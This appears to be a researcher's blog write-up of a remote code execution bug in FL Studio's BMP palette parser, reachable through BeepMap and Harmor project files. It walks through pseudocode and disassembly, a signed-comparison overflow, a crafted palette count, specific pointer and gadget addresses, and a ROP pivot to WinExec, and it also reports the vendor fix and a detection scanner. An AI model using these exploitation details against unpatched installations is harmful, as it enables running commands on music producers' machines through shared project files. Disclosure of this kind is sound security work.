fl studio rce

intro

i first got inspiration to try and find an fl rce when i started working on a mod loader for fl. sounded fun and i knew there was a lot of attack surface (flp parser, audio codec parsers, zip parser, stock plugins, etc). i didn't have any success on my first attempts, i initially looked at any stock plugin i could think of that would load user input (i assumed the likeliest places i would find success would be formula controller, patcher, or convolver on loading IR responses) and turned up empty. i also couldn't get anything going w/ flp / zip parser logic.

after having no luck with poking obvious areas, i ran a scanner to parse the plugin state of the first plugin in every flp in FL's built in "Render tests" directory, which conveniently contains an flp for every stock plugin containing just that plugin loaded. this led me to BeepMap, which stores a bmp file in its plugin state.

the bug

FL contains a vulnerable shared .bmp parser added in Fruity Loops 2.7.0. the parser was accessible from .flp parameters in Fruity Loops 3, via the addition of the BeepMap stock plugin. below is pseudocode representing the parser function:

void DIBParser(DIBSharedImage *surface, TMemoryStream *stream, uint32_t flags)
{
    DIBSharedImage *savedSurface = surface;
    uint32_t biSize = read_u32(stream);
    uint32_t biClrUsed;

    if (biSize == BITMAPCOREHEADER_SIZE) {
        [...]  // read dimensions and bit depth
        biClrUsed = 0;
    } else if (biSize == BITMAPINFOHEADER_SIZE) {
        [...]  // read biWidth, biHeight, biBitCount, biCompression, etc
        biClrUsed = read_u32(stream);
        [...]  // read biClrImportant and any color masks
    } else {
        error("DIB is invalid");
        return;
    }

    uint32_t colors = biClrUsed; // palette entry count
    if (colors == 0 && biBitCount <= 8)
        colors = 1u << biBitCount;

    if ((int32_t)colors > 256) // note int32_t - signed
        colors = 256; // cap amount of colors to 256 to fit in 1024 byte buffer (4 bytes per color)

    uint8_t palette4[0x400] = {0};
    if (biSize == BITMAPCOREHEADER_SIZE) {
        [...]  // read and convert three-byte palette entries
    } else {
        uint32_t paletteBytes = colors * 4u;
        read(stream, palette4, sign_extend_32_to_64(paletteBytes));
    }

    build_surface(savedSurface, palette4, biWidth, biHeight,
                  biBitCount, biCompression, biSizeImage);

    [...]  // decode pixels according to biCompression 
}

biClrUsed is an unsigned 32-bit integer that declares how many colors are in the loaded bitmap's palette. When biClrUsed = 0 for an image using 8 bits or less, the parser uses 256 entries at 8 bits per pixel. Above 8 bits per pixel, 0 usually means there is no color table and each pixel defines its own color.

The parser is intended to cap colors at 256 and fit in a 1024 byte buffer. However, since jle uses a signed comparison, palette counts with bit 31 set bypass the cap. The later multiplication by 4 bytes per entry can wrap to a read length larger than palette4, as shown later with 0x800001DE.

0020F800  cmp    esi, 0x100   ; esi compares # of colors in palette with 256
0020F806  jle    0x20F80D     ; jle checks if less than or equal using a signed comparison, skip cap if colors is less than or = 256
0020F808  mov    esi, 0x100   ; otherwise if greater, set colors to 256
          [...]
0020F8AF  mov    r8d, esi     ; copy colors
0020F8B2  shl    r8d, 2       ; multiply by 4 bytes/entry
0020F8B6  movsxd r8, r8d      ; sign extend result to 64 bits for r8
0020F8B9  call   0xF1010      ; read r8 bytes into palette4 

turning a bitmap into rce

for the poc, i use a bmp with biClrUsed = 0x800001DE (2147484126) as bit 31 is set which makes jle interpret it as a negative number and it causes a 0x778 (1912) byte read, overrunning palette4 by 888 bytes. this reaches the saved rbp, return address, and surface pointer, and stops before the saved stream pointer. the pointer value 0x18008F100 comes from other bytes written in the bmp stream located at offsets 0x770 - 0x777 from the start of the palette read.

the parser uses our overwritten pointer and passes it, along with the palette buffer, to the surface builder:

0020F631  mov qword ptr [rbp + 0x7F0], rcx   ; save rcx (which holds image surface pointer) on stack
          [...]                              ; After palette read
0020F8F3  mov r8, qword ptr [rbp + 0x7F0]    ; reload saved pointer
0020F914  lea rdx, [rbp + 0x80]              ; palette4's address
0020F91B  mov qword ptr [rsp + 0x28], rdx    ; pass palette4 address to helper
          ; ... set up other arguments
0020F928  mov rcx, r8                        ; pass surface pointer
          ; ... set up other arguments
0020F934  call 0x20ECD0                      ; build surface and copy palette

inside 0x20ECD0, the surface builder saves the pointer passed in rcx & uses it as the destination for the palette copy:

0020ECDB  mov qword ptr [rsp + 0x28], rcx              ; save surface pointer
          [...]
0020EE61  mov rsi, qword ptr [rsp + 0x88]              ; load the palette4 pointer into rsi
0020EE69  mov rax, qword ptr [rsp + 0x28]              ; reload surface pointer
0020EE6E  lea rdi, [rax + 0x20]                        ; destination: surface pointer (0x18008F100) + 0x20
0020EE72  mov ecx, 0x80                                ; repeat copy in next instruction 128x
0020EE77  rep movsq qword ptr [rdi], qword ptr [rsi]   ; copy 1024 bytes from palette4 (rsi) to surface+0x20 (rdi)

The surface pointer (0x18008F100) is loaded into rax, then lea adds 0x20, setting rdi to 0x18008F120 in freetype_x64.dll's writable .data section. freetype is used because it has DYNAMICBASE disabled (preventing ASLR troubles) and loads at its preferred base. rep movsq then copies the palette there, placing the ROP chain, and the earlier overflow set saved rbp to 0x18008F100 & return address to the pivot gadget at 0x180062E5E.

After surface construction & pixel decoding, DIBParser restores registers and returns:

0020F9A0  lea rsp, [rbp + 0x7C8]   ; point rsp at the saved registers
0020F9A7  pop rbx                  ; restore rbx
0020F9A8  pop rsi                  ; restore rsi
0020F9A9  pop rdi                  ; restore rdi
0020F9AA  pop rbp                  ; load overwritten value 0x18008F100
0020F9AB  ret                      ; use overwritten return address

ret enters the freetype gadget with rbp set as 0x18008F100:

180062E5E  lea rsp, [rbp+0x20]   ; rsp = 0x18008F120
180062E62  pop r15               ; load first 8 bytes of copied palette
180062E64  pop r14
180062E66  pop r13
180062E68  pop r12
180062E6A  pop rbp
180062E6B  ret                   ; take next address from 0x18008F148

the final ret takes its next address from the bmp palette bytes that were copied into freetype's .data. this allows executing code and calling functions in the process, including calling WinExec to run arbitrary windows commands.

Below are demos of the exploit in action popping calc & opening my twitter on FL 26, 24, and, for fun, Fruity Loops 3 :p The vulnerable parser is also found in other places than beepmap, most notably Harmor, where the same bug is exploitable due to harmor having a similar image-to-sound feature. simply removing beepmap isn't sufficient protection.

PoC demo with a Discord attachment and FL StudioPoC demo in modern FL StudioPoC demo in Fruity Loops 3

credits

ty - additional testing mjkzys - previous published flp research that was a useful resource

fix

Use jbe instead of jle (the equivalent unsigned instruction) when checking if the palette has more than 256 colors. this fix was made on FL 26.2 (released yesterday), along with zero-extending the byte length. Go update

For those for whatever reason unable to update, linked is a quick scanner I wrote to detect malicious flps/fsts/etc abusing this bug. everything is processed locally, none of your flps or any info is sent and you can run the html file on your own pc.

I hope u enjoyed reading . . i hope to write more in the future ^_^! attached below are the two pocs that work on all versions between 12.5.0.59 - 26.1.7.5654. Happy birthday to me and cya 🎈